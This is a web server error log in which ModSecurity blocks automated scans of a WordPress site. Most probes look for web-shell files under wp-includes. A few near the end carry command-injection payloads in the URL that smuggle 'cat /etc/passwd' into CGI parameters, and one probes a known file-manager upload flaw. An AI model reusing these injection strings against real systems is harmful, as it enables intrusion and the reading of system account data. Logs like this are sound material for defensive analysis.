[Fri Nov 21 16:04:30.993251 2025] [:error] [pid 46939:tid 46949] [client 45.132.227.54:33681] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aSAdDu0OmVoxD4VZ_Zl2jQAAAUc"]
[Fri Nov 21 16:04:32.281316 2025] [:error] [pid 25554:tid 25573] [client 172.98.32.98:44327] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfus.php
[Fri Nov 21 16:04:32.720712 2025] [:error] [pid 25554:tid 25574] [client 172.98.32.98:44327] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aSAdEB-NtB-9AzFZrk5YqAAAARA"]
[Fri Nov 21 16:04:34.881299 2025] [:error] [pid 25554:tid 25574] [client 172.98.32.98:44327] [client 172.98.32.98] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "172.98.32.86_57785e684640793e132ff7642246f9619d0f8c7a"): Internal error (specific information not available) [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aSAdEB-NtB-9AzFZrk5YqAAAARA"]
[Fri Nov 21 16:04:36.683661 2025] [:error] [pid 25431:tid 25489] [client 172.98.32.81:20115] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSAdFMklhXxmoIExII038QAAAII"]
[Fri Nov 21 16:04:37.568039 2025] [:error] [pid 25429:tid 25457] [client 172.98.32.81:36277] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Fri Nov 21 16:04:37.992880 2025] [:error] [pid 25429:tid 25454] [client 172.98.32.81:36277] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aSAdFT4rZbRSr7vu-NOscwAAABU"]
[Fri Nov 21 16:04:39.304238 2025] [:error] [pid 25521:tid 25545] [client 172.98.32.93:50253] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aSAdF_hXnBMilDddn3Xr4gAAANY"]
[Fri Nov 21 16:04:41.692265 2025] [:error] [pid 46939:tid 46960] [client 45.132.227.59:50335] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Fri Nov 21 16:04:42.117224 2025] [:error] [pid 46939:tid 46951] [client 45.132.227.59:50335] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSAdGu0OmVoxD4VZ_Zl28AAAAUk"]
[Fri Nov 21 16:04:44.331060 2025] [:error] [pid 25554:tid 25570] [client 172.98.32.97:31053] [client 172.98.32.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aSAdHB-NtB-9AzFZrk5Y5QAAAQw"]
[Fri Nov 21 16:04:45.299850 2025] [:error] [pid 46939:tid 46954] [client 136.144.42.74:62703] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/mah.php
[Fri Nov 21 16:04:45.737872 2025] [:error] [pid 46939:tid 46962] [client 136.144.42.74:62703] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aSAdHe0OmVoxD4VZ_Zl3AwAAAVQ"]
[Fri Nov 21 16:04:46.671936 2025] [:error] [pid 25554:tid 25563] [client 172.98.32.91:20279] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aSAdHh-NtB-9AzFZrk5Y-gAAAQU"]
[Fri Nov 21 16:04:47.574626 2025] [:error] [pid 25431:tid 25501] [client 172.98.32.87:32035] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-users.php
[Fri Nov 21 16:04:48.486874 2025] [:error] [pid 25431:tid 25511] [client 172.98.32.87:32035] [client 172.98.32.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aSAdIMklhXxmoIExII04IQAAAJg"]
[Fri Nov 21 16:04:49.375887 2025] [:error] [pid 46939:tid 46953] [client 45.132.227.62:40013] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aSAdIe0OmVoxD4VZ_Zl3EAAAAUs"]
[Fri Nov 21 16:04:52.919219 2025] [:error] [pid 25554:tid 25576] [client 136.144.42.72:60077] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aSAdJB-NtB-9AzFZrk5ZLQAAARI"]
[Fri Nov 21 16:04:53.777711 2025] [:error] [pid 25431:tid 25489] [client 136.144.42.80:28099] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aSAdJcklhXxmoIExII04MAAAAII"]
[Fri Nov 21 16:04:55.088851 2025] [:error] [pid 25429:tid 25433] [client 172.98.32.93:42131] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/log.php"] [unique_id "aSAdJz4rZbRSr7vu-NOsswAAAAA"]
[Fri Nov 21 16:04:56.003527 2025] [:error] [pid 25521:tid 25529] [client 172.98.32.81:37503] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aSAdKPhXnBMilDddn3XsGgAAAMY"]
[Fri Nov 21 16:04:56.862696 2025] [:error] [pid 46939:tid 46952] [client 172.98.32.94:41681] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aSAdKO0OmVoxD4VZ_Zl3OgAAAUo"]
[Fri Nov 21 16:04:57.738985 2025] [:error] [pid 25521:tid 25528] [client 172.98.32.93:48417] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aSAdKfhXnBMilDddn3XsHAAAAMU"]
[Fri Nov 21 16:05:00.492184 2025] [:error] [pid 25554:tid 25581] [client 45.132.227.67:60745] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aSAdLB-NtB-9AzFZrk5ZUQAAARc"]
[Fri Nov 21 16:05:01.357249 2025] [:error] [pid 25429:tid 25450] [client 136.144.42.72:59153] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aSAdLT4rZbRSr7vu-NOsxAAAABE"]
[Fri Nov 21 16:05:02.796841 2025] [:error] [pid 46939:tid 46943] [client 172.98.32.98:64339] File does not exist: /usr/local/apache/htdocs/suspended-page/top.php
[Fri Nov 21 16:05:03.239972 2025] [:error] [pid 46939:tid 46963] [client 172.98.32.98:64339] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aSAdL-0OmVoxD4VZ_Zl3aAAAAVU"]
[Fri Nov 21 16:05:04.120187 2025] [:error] [pid 25554:tid 25580] [client 172.98.32.76:22823] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aSAdMB-NtB-9AzFZrk5ZcQAAARY"]
[Fri Nov 21 16:05:05.871140 2025] [:error] [pid 25521:tid 25547] [client 172.98.32.93:41673] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aSAdMfhXnBMilDddn3XsMAAAANg"]
[Fri Nov 21 16:05:06.737098 2025] [:error] [pid 25554:tid 25579] [client 45.132.227.61:46261] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aSAdMh-NtB-9AzFZrk5ZewAAARU"]
[Fri Nov 21 16:05:10.778786 2025] [:error] [pid 46939:tid 46963] [client 45.132.227.65:47253] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aSAdNu0OmVoxD4VZ_Zl3gwAAAVU"]
[Fri Nov 21 16:05:11.833075 2025] [:error] [pid 25521:tid 25540] [client 172.98.32.91:39293] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aSAdN_hXnBMilDddn3XsPgAAANE"]
[Fri Nov 21 16:05:14.631128 2025] [:error] [pid 25554:tid 25582] [client 45.132.227.58:56849] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSAdOh-NtB-9AzFZrk5ZlwAAARg"]
[Fri Nov 21 16:05:17.164268 2025] [:error] [pid 25430:tid 25483] [client 136.144.42.74:65351] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSAdPapnWJcWt_4foXlIggAAAFc"]
[Fri Nov 21 16:05:18.556991 2025] [:error] [pid 25554:tid 25563] [client 45.132.227.53:50985] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/load.php"] [unique_id "aSAdPh-NtB-9AzFZrk5ZoAAAAQU"]
[Fri Nov 21 16:05:19.459808 2025] [:error] [pid 46939:tid 46954] [client 45.132.227.54:43507] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aSAdP-0OmVoxD4VZ_Zl3tgAAAUw"]
[Fri Nov 21 16:05:20.317349 2025] [:error] [pid 25554:tid 25578] [client 45.132.227.57:23635] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aSAdQB-NtB-9AzFZrk5ZpgAAARQ"]
[Fri Nov 21 16:05:22.541726 2025] [:error] [pid 46939:tid 46955] [client 172.98.32.79:43681] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aSAdQu0OmVoxD4VZ_Zl31AAAAU0"]
[Fri Nov 21 16:05:23.430350 2025] [:error] [pid 25521:tid 25529] [client 172.98.32.89:37779] File does not exist: /usr/local/apache/htdocs/suspended-page/setup-config.php
[Fri Nov 21 16:05:23.861889 2025] [:error] [pid 25521:tid 25526] [client 172.98.32.89:37779] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSAdQ_hXnBMilDddn3XsWgAAAMM"]
[Fri Nov 21 16:05:25.678273 2025] [:error] [pid 25431:tid 25501] [client 45.132.227.64:33665] File does not exist: /usr/local/apache/htdocs/suspended-page/type.php
[Fri Nov 21 16:05:26.137746 2025] [:error] [pid 25431:tid 25492] [client 45.132.227.64:33665] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aSAdRsklhXxmoIExII04oAAAAIU"]
[Fri Nov 21 16:05:27.007864 2025] [:error] [pid 25431:tid 25487] [client 172.98.32.84:47147] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aSAdR8klhXxmoIExII04ogAAAIA"]
[Fri Nov 21 16:05:28.348869 2025] [:error] [pid 25430:tid 25469] [client 172.98.32.99:59953] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aSAdSKpnWJcWt_4foXlIlwAAAEk"]
[Fri Nov 21 16:05:31.422756 2025] [:error] [pid 25431:tid 25500] [client 45.132.227.65:56267] File does not exist: /usr/local/apache/htdocs/suspended-page/goat.php
[Fri Nov 21 16:05:33.221685 2025] [:error] [pid 25431:tid 25498] [client 45.132.227.65:56267] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aSAdTcklhXxmoIExII04xQAAAIs"]
[Fri Nov 21 16:05:34.540471 2025] [:error] [pid 25430:tid 25465] [client 172.98.32.80:57637] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aSAdTqpnWJcWt_4foXlItQAAAEU"]
[Fri Nov 21 16:05:36.286979 2025] [:error] [pid 25429:tid 25451] [client 172.98.32.80:36721] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aSAdUD4rZbRSr7vu-NOtOAAAABI"]
[Fri Nov 21 16:05:37.247041 2025] [:error] [pid 25431:tid 25502] [client 45.132.227.57:47473] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aSAdUcklhXxmoIExII04ywAAAI8"]
[Fri Nov 21 16:05:38.103722 2025] [:error] [pid 25554:tid 25563] [client 136.144.42.75:23083] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aSAdUh-NtB-9AzFZrk5Z6gAAAQU"]
[Fri Nov 21 16:14:50.504904 2025] [:error] [pid 25431:tid 25499] [client 213.21.239.4:44100] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAfesklhXxmoIExII0-rgAAAIw"]
[Fri Nov 21 18:03:39.683165 2025] [:error] [pid 25431:tid 25488] [client 144.48.39.86:35042] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/weblogin.cgi?username=admin';cat+/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/weblogin.cgi"] [unique_id "aSA4-8klhXxmoIExII1lnQAAAIE"]
[Fri Nov 21 18:03:40.178698 2025] [:error] [pid 25554:tid 25575] [client 144.48.39.86:35046] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/linuxki/experimental/vis/kivis.php"] [unique_id "aSA4_B-NtB-9AzFZrk6AlQAAARE"]
[Fri Nov 21 18:03:40.190883 2025] [:error] [pid 25521:tid 25533] [client 144.48.39.86:35070] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aSA4_PhXnBMilDddn3UUHgAAAMo"]
[Fri Nov 21 18:03:40.192386 2025] [:error] [pid 25521:tid 25526] [client 144.48.39.86:35056] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "aSA4_PhXnBMilDddn3UUHQAAAMM"]
